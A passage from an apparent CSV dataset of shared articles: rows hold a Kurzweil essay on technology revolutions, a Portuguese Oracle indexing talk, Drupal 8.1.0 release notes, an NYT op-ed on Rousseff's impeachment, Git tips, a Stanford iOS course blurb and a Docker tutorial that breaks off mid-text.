research. These include sunscreens, clothing, paints, cars, and . And of course, the digital revolution has continued thanks to new methods allowing us to make chips with nanoscale features. In addition to already having practical applications today, there is much research and testing being conducted into groundbreaking (if still experimental) nanotechnology like: Though we continue to improve at manipulating matter on nanoscales, we're still far from nanobots or nanoassemblers that would build and repair atom by atom. That said, as Feynman pointed out, the principles of physics do not speak against such a future. And we need only look to our own biology to see an already working model in the intricate nano-machinery of life. The Robotics Revolution: ' BuildingStrong Artificial Intelligence' ""It is hard to think of any problem that a superintelligence could not either solve or at least help us solve. Disease, poverty, environmental destruction, unnecessary suffering of all kinds: these are things that a superintelligence equipped with advanced nanotechnology would be capable of eliminating."" - Ray Kurzweil, The Singularity Is Near The name of this revolution might be a little confusing. Kurzweil says robotics is embodied artificial intelligence-but it's the intelligence itself that matters most. While acknowledging the risks, he argues the AI revolution is the most profound transformation human civilization will experience in all of history. This is because this revolution is characterized by being able to replicate human intelligence : the ""most important and powerful attribute of human civilization."" We're already well into the era of ""narrow AI,"" which is a machine that has been programmed to do one or a few specific tasks, but that's just a teaser of what's to come. Strong AI will be as versatile as a human when it comes to solving problems. And according to Kurzweil, even AI that can function at the level of human intelligence will already outperform humans because of several aspects unique to machines: ""Machines can pool resources in ways that humans cannot."" ""Machines have exacting memories."" Machines ""can consistently perform at peak levels and can combine peak skills."" Artificial Intelligence Today Most of us use some form of narrow AI on a regular basis - like Siri and Google Now, and increasingly, . Other forms of narrow AI include programs like: Speech and image recognition software Pattern recognition software for autonomous weapons Programs used to detect fraud in financial transactions Google's AI-based statistical learning methods used to rank links The next step towards strong AI will be machines that learn on their own, without being programmed or fed information by humans. This is called 'deep learning,' a powerful new mode of machine learning, which is currently experiencing a surge in research and applications. Kurzweil calls genetics, nanotechnology, and robotics overlapping revolutions because we will continue to experience them simultaneously as each one of these technologies matures. These and other technologies will likely converge with each other and impact our lives in ways difficult to predict, and Kurzweil warns each technology will have the power to do great good or harm-as is the case with all great technologies. The extent to which we're able to harness their power to improve lives will depend on the conversations we have and the actions we take today. ""GNR will provide the means to overcome age-old problems such as illness and poverty, but it will also empower destructive ideologies,"" Kurzweil writes. ""We have no choice but to strengthen our defenses while we apply these quickening technologies to advance our human values, despite a lack of consensus on what those values should be."" The more we anticipate and debate these three powerful technological revolutions, the better we can guide their development toward outcomes that do more good than harm. To learn more about the exponential pace of technology and Ray Kurzweil's predictions , read his 2001 essay "" The Law of Accelerating Returns "" and his book, The Singularity Is Near . Image credit: Shutterstock.com",en
1461151658,CONTENT SHARED,-9076501258717815738,-5374802517306837266,8433141905882465382,,,,HTML,http://www.fabioprado.net/2016/04/indices-no-oracle-database-tudo-o-que.html,Fábio Prado - Overview sobre índices - DBA Brasil 1.0,"Olá pessoal, No post de hoje estou apenas compartilhando com vocês o arquivo da palestra Índices no Oracle Database, tudo o que você precisa saber sobre eles , que apresentei às 13:30h do dia 16/04/2016, no evento DBA BRASIL 1.0 . A apresentação aborda as dúvidas mais comuns (ver abaixo) sobre índices no Oracle Database através de perguntas, respostas e exemplos: 1- O que é mais rápido: FTS ou IS? 2- Quando devemos criar índices? 3- Quais os tipos de índices existentes e quando devo utilizar cada um deles? 4- Criei um índice, porque ela não está sendo utilizado? 5- Posso forçar o uso de um índice? 6- Quando devemos reconstruir índices? A palestra foi gravada (de modo amador) e eu disponibilizei ela para visualização no youtube em 4 partes: Índices no Oracle Database, DBA BRASIL 1.0, 1ª parte Índices no Oracle Database, DBA BRASIL 1.0, 2ª parte Índices no Oracle Database, DBA BRASIL 1.0, 3ª parte Índices no Oracle Database, DBA BRASIL 1.0, 4ª parte Se você tiver qualquer dúvida sobre o tema da palestra, deixe um comentário neste post que eu lhe responderei o mais breve possível.",pt
1461151761,CONTENT SHARED,3575694866055127253,692689608292948411,6753096457823597658,,,,HTML,https://www.drupal.org/blog/drupal-8-1-0,Drupal 8.1.0 is now available,"Drupal 8.1.0 , the first minor release of Drupal 8, is now available. With Drupal 8, we made significant changes in our release process, adopting semantic versioning and scheduled feature releases. This allows us to make extensive improvements to Drupal 8 in a timely fashion while still providing backwards compatibility. Drupal 8.1.0 is the first such update. What's new in Drupal 8.1.x? Drupal 8.1.0 comes with numerous improvements, including CKEditor WYSIWYG enhancements, added APIs, an improved help page, and two new experimental modules. ( Experimental modules are provided with Drupal core for testing purposes, but are not yet fully supported.) Experimental UI for migrations from Drupal 6 and 7 Drupal 8.1.0 now includes the Migrate Drupal UI module, which provides a user interface for Drupal core migrations. Use it to migrate Drupal 6 or 7 sites to Drupal 8. The user guide on migrating from Drupal 6 or 7 to Drupal 8 has full documentation. Note that the Drupal 8 Migrate module suite is still experimental and has known issues. Read below for specific information on migrating Drupal 6 and Drupal 7 sites with 8.1.0. (Always back up your data before performing a migration and review the results carefully.) BigPipe for perceived performance The Drupal 8 BigPipe module provides an advanced implementation of Facebook's BigPipe page rendering strategy, leading to greatly improved perceived performance for pages with dynamic, personalized, or uncacheable content. See the BigPipe documentation. CKEditor WYSIWYG spellchecking and language button Drupal 8.0.0 included the CKEditor module (a WYSIWYG editor), but it was not previously possible to use your browser's built-in spell checker with it to check the text. With Drupal 8.1.0, spellchecking is now enabled within CKEditor as well. Another great improvement is the addition of the optional language markup button in CKEditor . When configured to appear in your editing toolbar, it allows you to assign language information to parts of the text, which is useful for accessibility and machine processing. Improved help page with tours Drupal 8.0.0 included a new system for help tutorials called tours with the core Tour module. In Drupal 8.1.0, we made these tours easier to discover by listing them in the administrative help overview at /admin/help . The help overview page is also more flexible now, so contributed modules can add sections to it and themes can override its appearance more easily. You can read more about the new system in the change record for the updated help page , or refer to the Tour API documentation for how to add tours for your modules. Rendered entities in Views fields Drupal 8.1.0 now includes a rendered entity field handler for Views, which allows placing a fully rendered entity within a view field. For example, this feature could be used to display a rendered user profile for each node author in a table listing node content. (This feature was provided by the Entity contributed module in Drupal 7, but had not yet been available in Drupal 8.) Support for JavaScript automated testing Drupal 8.1.0 adds support for automated testing of JavaScript, which will mean fewer bugs with Drupal's JavaScript functionality in the future as we write new tests for it. (Read more about how to run the JavaScript tests .) There are also other improvements to the testing system, including improved reporting of PHPUnit and other test results. Improved Composer support Starting with Drupal 8.1.x, Drupal core and its dependencies are packaged by Composer on Drupal.org. This means that sites and modules can now also use Composer to manage all of their third-party dependencies (rather than having to work around the vendor directory that previously shipped with core). Developer API improvements Minor releases like Drupal 8.1.0 include backwards-compatible API additions for developers as well as new features. Read the 8.1.0 release notes for more details on the many improvements for developers in this release. What does this mean to me? Update to 8.1.0 to continue receiving bug and security fixes. The next bugfix release, 8.1.1, is scheduled for May 4, 2016. Updating your site from 8.0.6 to 8.1.0 with update.php is exactly the same as updating from 8.0.5 to 8.0.6. Modules, themes, and translations may need small changes for this minor release, so test the update carefully before updating your production site. Drupal 6 site owners Drupal 6 is not supported anymore . Create a Drupal 8 site and try migrating your data into it as soon as possible. Your Drupal 6 site can still remain up and running while you test migrating your Drupal 6 data into your new Drupal 8 site. Note that there are known issues with the experimental Migrate module suite . If you find a new bug not covered by one of these issues, your detailed bug report with steps to reproduce is a big help! Drupal 7 site owners Drupal 7 is still fully supported and will continue to receive bug and security fixes throughout all minor releases of Drupal 8. The new Migrate Drupal UI for Migrate also allows migrating a Drupal 7 site into a Drupal 8 site, but the migration path from Drupal 7 to 8 is not complete , so you may encounter errors or missing migrations when you try to migrate. That said, since your Drupal 7 site can remain up and running while you test migrating into a new Drupal 8 site, you can help us stabilize the Drupal 7 to Drupal 8 migration path! Testing and bug reports from your real-world Drupal 7 sites will help us stabilize this functionality sooner for everyone. ( Search the known issues .) Translation, module, and theme contributors Minor releases like Drupal 8.1.0 are backwards-compatible, so modules, themes, and translations that support Drupal 8.0.x will be compatible with 8.1.x as well. However, the new version does include some string changes, minor UI changes, and internal API changes (as well as more significant changes to experimental modules like the Migrate suite). This means that some small updates may be required for your translations, modules, and themes. See the announcement of the 8.1.0 release candidate for more background information.",en
1461155998,CONTENT SHARED,-2871288807409592,-1032019229384696495,-1193650786348738741,,,,HTML,http://mobile.nytimes.com/2016/04/20/opinion/dilma-rousseffs-impeachment-isnt-a-coup-its-a-cover-up.html?_r=0&referer=https://www.google.com/,"Dilma Rousseff's Impeachment Isn't a Coup, It's a Cover-Up","RIO DE JANEIRO - BRAZIL took a major step toward the impeachment of President Dilma Rousseff on Sunday when the lower house of Congress voted to send her case to the Senate, which will almost certainly refer her for a trial. It now looks likely that the president will be removed from office and replaced by Michel Temer, her vice president. Ms. Rousseff's supporters are furious, her opponents are overjoyed, and Brazil's corrupt politicians are breathing a sigh of relief. In the hourslong televised session on Sunday, members of Congress explained their decisions as they voted for impeachment: They voted ""for peace in Jerusalem,"" ""for the truckers,"" ""for the Free Masons of Brazil"" and ""because of the Communism that threatens this country."" Very few members of congress based their votes on the charges that have actually been brought against the president: that she violated regulations regarding public finances. Those in the opposition claim that they want to send a message about good governance. But the real reason the president is being impeached is that the Brazilian political system is in ruins. Her impeachment will provide a convenient distraction while other politicians try to get their own houses in order. An enormous corruption investigation, known as Operação Lava Jato, or Operation Car Wash, has exploded in the political system's face. At first, when the investigation began in 2014, investigators accused members of Ms. Rousseff's left-wing Workers Party of using Petrobras, the state-run oil company, to trade kickbacks for political favors. There is more and more evidence that this kind of practice was common among Brazilian political parties. The investigation has expanded to include a host of figures across the political spectrum, including roughly 50 politicians and a handful of business leaders. Unlike many Brazilian politicians, Ms. Rousseff isn't accused of taking bribes or trading cash for favors. But she is a weak and unpopular president. The economy has stagnated, thanks in large part to dropping global commodity prices and economic mismanagement during her first term. She has been forced to cut spending and implement painful austerity measures. In short, she is an easy target for the public's anger. Bringing down Ms. Rousseff - even on charges unrelated to the original corruption investigation - would be a nice season finale to Operation Car Wash: a catharsis of epic proportions. It would also provide corrupt, right-wing politicians, the largest constituency in Congress, with a reprieve from public scrutiny. The inspiration for this strategy is Eduardo Cunha, the head of Brazil's lower house, who has led the impeachment charge. At the same time that he was starting the impeachment process against Ms. Rousseff, he was being investigated on corruption charges that include money laundering and taking bribes. So far, his strategy of muddying the waters has worked perfectly: The impeachment proceedings have continued and shifted the focus away from Mr. Cunha's own legal problems. Many of the members of Congress who voted for impeachment on Sunday are hoping they'll enjoy the same good fortune. Members of the task force responsible for Operation Car Wash are worried. In an interview with BBC Brazil, Deltan Dallagnol, the lead public prosecutor in Operation Car Wash, said he feared a post-impeachment political offensive against the investigation. A change in government, he said, could bring to power congressmen who are themselves under investigation, who might ""pull up their sleeves and move against the operation"" when media exposure declines and public interest fades. Many observers in Brazil also fear that a government led by Mr. Temer, the vice president, could reach an ""acordão,"" or big agreement, with other parties to declaw the investigation. This could be achieved by passing laws that make future anti-corruption initiatives more difficult, or by replacing the people in charge of the Federal Police. Even if all that fails, many of the people who voted to impeach Ms. Rousseff on Sunday hope that judges will be more lenient when they are not subject to public pressure and extensive media coverage. Ms. Rousseff's supporters claim that her impending impeachment is part of a coup. It's not. Legal procedure is being followed, and it seems likely that Ms. Rousseff broke the law. But that doesn't mean it's right. The crisis brought on by the Operation Car Wash scandals should have been part of Brazil's painful - and extraordinary - process of establishing a functioning judiciary and fighting corruption. But Ms. Rousseff's fall is not the logical conclusion of that happy story. Far from being the dawn of a new era, it may very well turn out to be the way the old political class reasserts control over the country - and escapes jail.",en
1461159439,CONTENT SHARED,8712996026808754180,-9016528795238256703,2810278360318127804,,,,HTML,http://www.alexkras.com/19-git-tips-for-everyday-use/,19 Tips For Everyday Git Use,"I've been using git full time for the past 4 years, and I wanted to share the most practical tips that I've learned along the way. Hopefully, it will be useful to somebody out there. If you are completely new to git, I suggest reading Git Cheat Sheet first. This article is aimed at somebody who has been using git for three months or more. Table of Contexts: Three stages in git, and how to move between them git reset --hard HEAD and git status -s Good commit messages Git Auto-completion Create aliases for your most frequently used commands 1. Parameters for better logging Sample Command git log --oneline --graph Chances are, by now you've used git log. It supports a number of command line parameters, which are very powerful, especially when used in combination. Here are the ones that I use the most: --author=""Alex Kras"" - Only show commits made by a certain author --name-only - Only show names of files that changed --oneline - Show commit data compressed to one line --graph - Show dependency tree for all commits --reverse - Show commits in reverse order (Oldest commit first) --after - Show all commits that happened after certain date --before - Show all commits that happened before certain data For example, I once had a manager who required weekly reports submitted each Friday. So every Friday I would just run: git log --author=""Alex Kras"" --after=""1 week ago"" --oneline , edit it a little and send it in to the manager for review. Git has a lot more command line parameters that are handy. Just run man git log and see what it can do for you. If everything else fails, git has a --pretty parameter that let's you create a highly customizable output. 2. Log actual changes in a file Sample Command git log -p filename git log -p or git log -p filename lets you view not only the commit message, author, and date, but actual changes that took place in each commit. Then you can use the regular less search command of ""slash"" followed by your search term /{<!-- -->{your-search-here}} to look for changes to a particular keyword over time. (Use lower case n to go to the next result, and upper case N to go to the previous result). 3. Only Log changes for some specific lines in a file Sample Command git log -L 1,1:some-file.txt You can use git blame filename to find the person responsible for every line of the file. git blame is a great tool, but sometimes it does not provide enough information. An alternative is provided by git log with a -L flag. This flag allows you to specify particular lines in a file that you are interested in. Then Git would only log changes relevant to those lines. It's kind of like git log -p with focus. git log -L 1,1:some-file.txt 4. Log changes not yet merged to the parent branch Sample: git log --no-merges master.. If you ever worked on a long-lived branches, with multiple people working on it, chances are you've experienced numerous merges of the parent branch(i.e. master) into your feature branch. This makes it hard to see the changes that took place on the master branch vs. the changes that have been committed on the feature branch and which have yet to be merged. git log --no-merges master.. will solve the issue. Note the --no-merges flag indicate to only show changes that have not been merged yet to ANY branch, and the master.. option, indicates to only show changes that have not been merged to master branch. (You must include the .. after master). You can also do git show --no-merges master.. or git log -p --no-merges master.. (output is identical) to see actual file changes that are have yet to be merged. 5. Extract a file from another branch Sample: git show some-branch:some-file.js Sometimes it is nice to take a pick at an entire file on a different branch, without switching to this branch. You can do so via git show some-branch-name:some-file-name.js , which would show the file in your terminal. You can also redirect the output to a temporary file, so you can perhaps open it up in a side by side view in your editor of choice. git show some-branch-name:some-file-name.js > deleteme.js Note: If all you want to see is a diff between two files, you can simple run: git diff some-branch some-filename.js 6. Some notes on rebasing Sample: git pull --rebase We've talked about a lot of merge commits when working on a remote branch. Some of those commits can be avoided by using git rebase . Generally I consider rebasing to be an advanced feature, and it's probably best left for another post. Even git book has the following to say about rebasing. Ahh, but the bliss of rebasing isn't without its drawbacks, which can be summed up in a single line: Do not rebase commits that exist outside your repository If you follow that guideline, you'll be fine. > If you don't, people will hate you, and you'll be scorned by friends and family. That being said, rebasing is not something to be afraid of either, rather something that you should do with care. Probably the best way to rebase is using interactive rebasing , invoked via git rebase -i {<!-- -->{some commit hash}} . It will open up an editor, with self explanatory instruction. Since rebasing is outside of the scope of this article, I'll leave it at that. One particular rebase that is very helpful is git pull --rebase . For example, imagine you are working on a local version of a master branch, and you made one small commit. At the same time, somebody else checked in a week worth of work onto the master branch. When you try to push your change, git tells you to do a git pull first, to resolve the conflict. Being a good citizen that you are, you do a git pull to end up with the following commit message auto generated by git. Merge remote-tracking branch 'origin/master' While this is not a big deal and is completely safe, it does clutter log history a bit. In this case, a valid alternative is to do a git pull --rebase instead. This will force git to first pull the changes, and then re-apply(rebase) your un-pushed commits on top of the latest version of the remote branch, as if they just took place. This will remove the need for merge and the ugly merge message. 7. Remember the branch structure after a local merge I like to create a new branch for every new bug or feature. Among other benefits, it helps me to get a great clarity on how a series of commits may relate to a particular task. If you ever merged a pull request on github or a similar tool, you will in fact be able to nicely see the merged branch history in git log --oneline --graph view. If you ever try to merge a local branch, into another local branch, you may notice git has flatten out the branch, making it show up as a straight line in git history. If you want to force git to keep branches history, similarly to what you would see during a pull request, you can add a --no-ff flag, resulting in a nice commit history tree. git merge --no-ff some-branch-name 8. Fix your previous commit, instead of making a new commit Sample git commit --amend This one is pretty straightforward. Let say you made a commit and then realized you made a typo. You could make a new commit with a ""descriptive"" message typo . But there is a better way. If you haven't pushed to the remote branch yet , you can simply do the following: Fix your typo Stage the newly fixed file via git add some-fixed-file.js Run git commit --amend which would add the most recent changes to your latest commit. It will also give you a chance to edit the commit message. Push the clean branch to remote, when ready If you are working on your own branch, you can fix commits even after you have pushed, you would just have to do a git push -f (-f stands for force), which would over-ride the history. But you WOULD NOT want to do this on a branch that is being used by other people (as discussed in rebase section above). At that point, a ""typo"" commit, might be your best bet. 9. Three stages in git, and how to move between them Sample git reset --hard HEAD and git status -s As you may already know by now, a file in git can be in 3 stages: 1. Not staged for commit 2. Staged for commit 3. Committed You can see a long description of the files and state they are in by running git status . You move a file from ""not staged for commit"" stage to ""staged for commit"" stage, by running git add filename.js or git add . to add all files at once. Another view that makes it much easier to visualize the stages is invoked via git status -s where -s stand for short (I think), and would result in an output that looks like that: Obviously, git status will not show files that have already been committed, you can use git log to see those instead &#x1f642; There are a couple of options available to you to move the files to a different stage. Resetting the files There are 3 types of reset available in git. A reset allows you to return to a particular version in git history. git reset --hard {<!-- -->{some-commit-hash}} - Return to a particular point in history. All changes made after this commit are discarded . git reset {<!-- -->{some-commit-hash}} - Return to a particular point in history. All changes made after this commit are moved ""not yet staged for commit"" stage . Meaning you would have to run git add . and git commit to add them back in. git reset --soft {<!-- -->{some-commit-hash}} - Return to a particular point in history. All changes made after this commit are moved to ""staged for commit"" stage . Meaning you only need to run git commit to add them back in. This may appear as useless information at first, but it is actually very handy when you are trying to move through different version of the file. Common use cases that I find myself using the reset are bellow: I want to forget all the changes I've made, clean start - git reset --hard HEAD (Most common) I want to edit, re-stage and re-commit files in some different order - git reset {<!-- -->{some-start-point-hash}} I just want to re commit past 3 commits, as one big commit - git reset --soft {<!-- -->{some-start-point-hash}} Check out some files If you simply want to forget some local changes for some files, but at the same time want to keep changes made in other files, it is much easier to check out committed versions of the files that you want to forget, via: git checkout forget-my-changes.js It's like running git reset --hard but only on some of the files. As mentioned before you can also check out a different version of a file from another branch or commit. git checkout some-branch-name file-name.js and git checkout {<!-- -->{some-commit-hash}} file-name.js You'll notice that the checked out files will be in a ""staged for commit"" stage. To move them back to ""un-staged for commit"" stage, you would have to do a git reset HEAD file-name.js . You can run git checkout file-name.js again, to return the file to it's original state. Note, that running git reset --hard HEAD file-name.js does not work. In general, moving through various stages in git is a bit confusing and the pattern is not always clear, which I hoped is to remedied a bit with this section. 10. Revert a commit, softly This one is handy if you want to undo a previous commit or two, look at the changes, and see which ones might have caused a problem. Regular git revert will automatically re-commit reverted files, prompting you to write a new commit message. The -n flag tells git to take it easy on committing for now, since all we want to do is look. 11. See diff-erence for the entire project (not just one file at a time) in a 3rd party diff tool My favorite diff-ing program is Meld . I fell in love with it during my Linux times, and I carry it with me. I am not trying to sell you on Meld, though. Chances are you have a diff-ing tool of choice already, and git can work with it too, both as a merge and as a diff tool. Simply run the following commands, making sure to replace meld with your favorite diff tools of choice: After that all you have to do is run git difftool some-file.js to see the changes in that program instead of the console. But some of the diff-ing tools (such as meld) support full directory diffs. If you invoke git difftool with a -d flag, it will try to diff the entire folder. Which could be really handy at times. git difftool -d 12. Ignore the white space Have you ever re-indented or re-formatted a file, only to realize that now git blame shows that you are responsible for everything in that file? Turns out, git is smart enough to know the difference. You can invoke a lot of the commands (i.e. git diff , git blame ) with a -w flag, and git will ignore the white space changes. 13. Only ""add"" some changes from a file Somebody at git must really like the -p flag, because it always comes with some handy functionality. In case of git add , it allows you to interactive select exactly what you want to be committed. That way you can logically organize your commits in an easy to read manner. 14. Discover and zap those old branches It is common for a large number of remote branches to just hang around, some even after they have been merged into the master branch. If you are a neat freak (at least when it comes to code) like me, chances are they will irritate you a little. You can see all of the remote branches by running git branch with the -a flag (show all branches) and the --merged flag would only show branches that are fully merged into the master branch. You might want to run git fetch -p (fetch and purge old data) first, to make sure your data is up to date. If you want to get really fancy, you can get a list of all the remote branches, and the list of last commits made on those branches by running: git for-each-ref --sort=committerdate --format='%(refname:short) * %(authorname) * %(committerdate:relative)' refs/remotes/ | column -t -s '*' . Unfortunately, there is no easy way (that I know of) to only show merged branches. So you might have to just compare the two outputs or write a script to do it for you. 15. Stash only some files Sample git stash -keep-index or git stash -p If you don't yet know what git stash does, it simply puts all your unsaved changes on a ""git stack"" of sorts. Then at a later time you can do git stash pop and your changes will be re-applied. You can also do git stash list to see all your stashed changes. Take a look at man git stash for more options. One limitation of regular git stash is that it will stash all of the files at once. And sometimes it is handy to only stash some of the file, and keep the rest in your working tree. Remember the magic -p command? Well it's really handy with git stash as well. As you may have probably guessed by now, it will ask you to see which chunks of changes you want to be stashed. Make sure to hit ? while you at it to see all available options. Another handy trick, for stashing only some of the files, is to: add the files that you DO NOT want to get stashed (i.e. git add file1.js, file2.js ) Call git stash --keep-index . It will only stash files that have not been added. Call git reset to un-stage the added files and continue your work. 16. Good commit messages A little while ago I came across a great article on how to write a good commit message. Check it out here: How to Write a Git Commit Message One rule that really stood out for me is, ""every good commit should be able to complete the following sentence"" When applied, this commit will: {<!-- -->{ YOUR COMMIT MESSAGE}} For example: - When applied this commit will Update README file - When applied this commit will Add validation for GET /user/:id API call - When applied this commit will Revert commit 12345 17. Git Auto-completion Git packages for some operating systems (i.e. Ubuntu) come with git auto completion enabled by default. If your operating system did not come with one(Mac doesn't), you can easily enable it by following these guidelines: 18. Create aliases for your most frequently used commands TLDR; Use git or bash aliases for most commonly used long git commands Best way to use Git is via command line, and the best way to learn the command line is by doing everything the hard way first (typing everything out). After a while, however, it might be a good idea to track down your most used commands, and create an easier aliases for them. Git comes with built in aliases, for example you can run the following command once: git config --global alias.l ""log --oneline --graph"" Which would create a new git alias named l , that would allow you to run: git l instead of git log --oneline --graph . Note that you can also append other parameters after the alias (i.e. git l --author=""Alex"" ). Another alternative, is good old Bash alias. For example, I have the following entry in my .bashrc file. alias gil=""git log -online -graph"" , allowing me to use gil instead of the long command,which is even 2 character shorter than having to type git l :). 19. Quickly find a commit that broke your feature (EXTRA AWESOME) git bisect uses divide and conquer algorithm to find a broken commit among a large number of commits. Imagine yourself coming back to work after a week long vacation. You pull the latest version of the project only to find out that a feature that you worked on right before you left is now broken. You check the last commit that you've made before you left, and the feature appear to work there. However, there has been over a hundred of other commits made after you left for your trip, and you have no idea which of those commits broke your feature. At this point you would probably try to find the bug that broke your feature and use git blame on the breaking change to find the person to go yell at. If the bug is hard to find , however, you could try to navigate your way through the commit history, in attempt to pin point where the things went bad. The second approach is exactly where git bisect is so handy. It will allow you to find the breaking change in the fastest time possible. So what does git bisect do? After you specify any known bad commit and any known good commit, git bisect will split the in-between commits in half, and checkout a new (nameless) branch in the middle commit to let you check if your future is broken at that point in time. Let say the middle commit still works. You would then let git know that via git bisect good command. Then you only have half of the commits left to test. Git would then split the remaining commits in half and into a new branch(again), letting you to test the feature again. git bisect will continue to narrow down your commits in a similar manner, until the first bad commit is found. Since you divide the number of commits by half on every iteration, you are able to find your bad commits in log(n) time (which is simply a ""big O"" speak for very fast). The actual commands you need to run to execute the full git bisect flow are: git bisect start - let git know to start bisecting. git bisect good {<!-- -->{some-commit-hash}} - let git know about a known good commit (i.e. last commit that you made before the vacation). git bisect bad {<!-- -->{some-commit-hash}} - let git know about a known bad commit (i.e. the HEAD of the master branch). git bisect bad HEAD (HEAD just means the last commit). At this point git would check out a middle commit, and let you know to run your tests. git bisect bad - let git know that the feature does not work in currently checked out commit. git bisect good - let git know that the feature does work in currently checked out commit. When the first bad commit is found, git would let you know. At this point git bisect is done. git bisect reset - returns you to the initial starting point of git bisect process, (i.e. the HEAD of the master branch). git bisect log - log the last git bisect that completed successfully. You can also automate the process by providing git bisect with a script. You can read more here: Follow Me:",en
1461159850,CONTENT SHARED,-5315378314308323942,490109768671667408,-1480333772626639660,,,,RICH,https://itunes.apple.com/br/course/developing-ios-9-apps-swift/id1104579961,Developing iOS 9 Apps with Swift - Curso grátis de Stanford no iTunes U,"Updated for iOS 9 and Swift. Tools and APIs required to build applications for the iPhone and iPad platforms using the iOS SDK. User interface design for mobile devices and unique user interactions using multi-touch technologies. Object-oriented design using model-view-controller paradigm, memory management, Swift programming language. Other topics include: animation, mobile device power management, multi-threading, networking and performance considerations. Recommended: UNIX, graphics, databases. Offered by Stanford's School of Engineering.",en
1461161430,CONTENT SHARED,6743199836219189414,9038446466275805109,-362965278731664021,,,,HTML,https://www.smashingmagazine.com/2016/04/stop-installing-your-webdev-environment-locally-with-docker/,Why You Should Stop Installing Your WebDev Environment Locally - Smashing Magazine,"Have you heard of Docker but thought that it's only for system administrators and other Linux geeks? Or have you looked into it and felt a bit intimidated by the jargon? Or are you silently suffering with a messy development environment that seems to break all of the time in various mysterious ways? Then read on. By the end of this article, you should have a basic understanding of Docker and have it working on your computer! The first part of this article gives a bit of background to help you understand the concepts behind Docker through some metaphors. But if you just want to get started with the tutorial, skip to the ""Time to Play!"" section. A Brief History Of The Shipping Industry Link Break-Bulk Shipping Link The loading and unloading of individual goods in barrels, sacks and wooden crates from land transporters to ship, and back again on arrival, used to be slow and cumbersome. Nevertheless, this process, referred to as break-bulk shipping, was the only known way to transport goods via ship up until the second half of the 20th century. Needless to say, this process was very labor-intensive. A ship could easily spend more time at port than at sea, as dockworkers moved cargo into and out of tight spaces below decks. There was also high risk of accident, loss and theft. 1 Queen's Wharf, Port Adelaide, before 1927 (Image: State Library of South Australia 2 ) ( View large version 3 ) The Introduction of Shipping Containers Link Fast-forward to 26 April 1956, when Malcolm McLean's converted World War II tanker, the Ideal X, made its maiden voyage from Port Newark to Houston. She had a reinforced deck carrying 58 metal container boxes, as well as 15,000 tons of bulk petroleum. By the time the container ship docked at the port of Houston six days later, the company was already taking orders to ship goods back to Port Newark in containers. McLean's enterprise later became known as Sea-Land Services, a company that changed the face of shipping forever. Many famous inland ports (including London's Docklands) were completely shut down, as ever-larger container ships had to use open (and usually new) seaside ports. 4 Malcolm McLean at Port Newark, 1957 (Image: Maersk Line 5 ) ( View large version 6 ) But Why Would a Developer Care About Shipping Containers? Link In the 1950s, Harvard University economist Benjamin Chinitz predicted that containerization would benefit New York by allowing it to ship its industrial goods to the southern United States more cheaply than from other areas, like the midwest. But what actually happened is that importing such goods from abroad became cheaper, wiping out the state's dominant apparels industry, which was meant to be the beneficiary. While I obviously can't foresee the future, it looks like a new wave of containerization is about to transform software, particularly web development, with some potentially major consequences. But what are the main characteristics of shipping containers? They abstract what's inside with a tough corrugated steel shell, the private and protected contents of which are known only to the creators. They provide a standardized interface for efficient handling and stacking throughout the delivery chain. They make it easy for anyone to scale their operations quickly using this existing standardized infrastructure. Hmm, some familiar keywords in there, right? What Is The Problem With Local Development Environments? Link Even if you install dependencies only for projects that you have to actively work on, after a few new projects, things will start to become a mess - a mess that is difficult to clean up and even harder to restore if you need to work on some old project again. And if you're not paying the bills with just a few projects but also want to contribute to open-source libraries - which you totally should, but that means you might need to compile them - then that would get totally out of hand. What if we could have a software Malcolm, locking each project's mess into the digital equivalent of corrugated steel boxes? Approaches for Multi-Project Development Environments Link A few years ago, the best solution around was to use package managers (RubyGems and Bundler, npm, Maven, etc.) with local project-specific dependency bundles, instead of installing libraries on a global operating-system level. Together with runtime version switchers (Ruby Version Manager, rbenv, nvm, JSelect, etc.), these provided temporary relief, but there were still differences between environments on different developer machines, often resulting in broken builds and generally weird behavior. Of course, you were almost guaranteed to have to set up every single project again after every OS update and to remember quirky workarounds for legacy projects (if the dependencies were even still available). Then, virtualization started becoming more mainstream (and open source) on the desktop, after years of success on servers. So, with help of the likes of Virtualbox and Vagrant, it became possible to run an entire operating system in a virtualized environment, independent of the host system. This way, the environments for all development computers and even production servers could be identical. While this is a powerful and versatile solution, the downside is a big hit on the resources of the host machine. Taking the sealed-box approach from full-fat virtualization, yet sharing the kernel and some low-level components from the host operating system, containerization offers the best of both worlds. Because no actual virtualization is happening on a container level (just a few fences are drawn up and torn down for isolation), start-up is pretty much instant, and the direct access to the CPU and other hardware components eliminates performance overhead. Enter Docker's Containers Link Docker started out by being built on an implementation called Linux Containers (or LXC) which has been around for quite a while; so, containers aren't a totally new concept. That being said, Docker's makers later decided to create a layer that depends less on Linux distribution-specific components, which was first Libcontainer and now RunC. Quite a lot of details are involved in how these container implementations actually work; however, from a user perspective, it's enough to know that the high-level architecture is to run what's inside the containers, with a limitation and prioritization of resources, its own networking, a mounted file system and so on, thereby creating practically complete but securely fenced child operating systems inside the host. Docker itself is open-source and offers a large ecosystem of tools and contributors on top of the basic container technology, addressing several levels of the problem. Docker Engine Link The Docker Engine, or just Docker, is the core and deals with the containers themselves. It bundles together the barebones Unix-style utilities for handling various aspects of the containers, and it adds several convenience functions around them. With Docker, a nice REST API is exposed on the containers, which makes it possible for both command-line and GUI tools (locally) and deployment scripts (remotely) to interact with them. It also makes it very simple to define images with a single Dockerfile , which enables one to build layered, incremental images quickly, including downloading and compiling all of the dependencies. Time To Play! Link Installing Docker Toolbox Link Once the installation process is completed, you should start Kitematic (Docker's UI interface), an app that will automatically create a Docker host environment (named default ) for you. If everything has gone well, you should see a list of downloadable Docker images on the right. Cloning the Tutorial Repository Link Now we are ready to Dockerize a small React, Sass and Node.js app, compiled with Gulp, which should be just enough to see something beyond ""Hello World."" Note: Make sure your working copy is under /Users/[username] (Mac OS X) or C:\Users\[username] (Windows). Otherwise, mounting source-code folders won't work later - these folders are automatically mapped by Docker. If you haven't done so yet, crack open a terminal shell, and go to the folder where you checked out the repository! All commands below (starting with, but without pasting, $ ) will have to be executed there. Getting the Docker Host Ready Link Because we're going to use the default Docker host, you don't have to create one. If you want to do it (later), you can use docker-machine create . However, we need to tell Docker that we want to use this default host. So, go ahead and type this: $ eval ""$(docker-machine env default)"" You'll need to do this for every new shell session, or else put it in your .profile or .bashrc file. The reason for this is that Docker can work with multiple hosts locally, remote hosts like AWS, and swarms, so it can't safely assume where you want to work. To verify that everything has gone well, type the following: $ docker-machine ls This should return all of the Docker hosts you have set up, and you should see default set as active. So, something like this: NAME ACTIVE 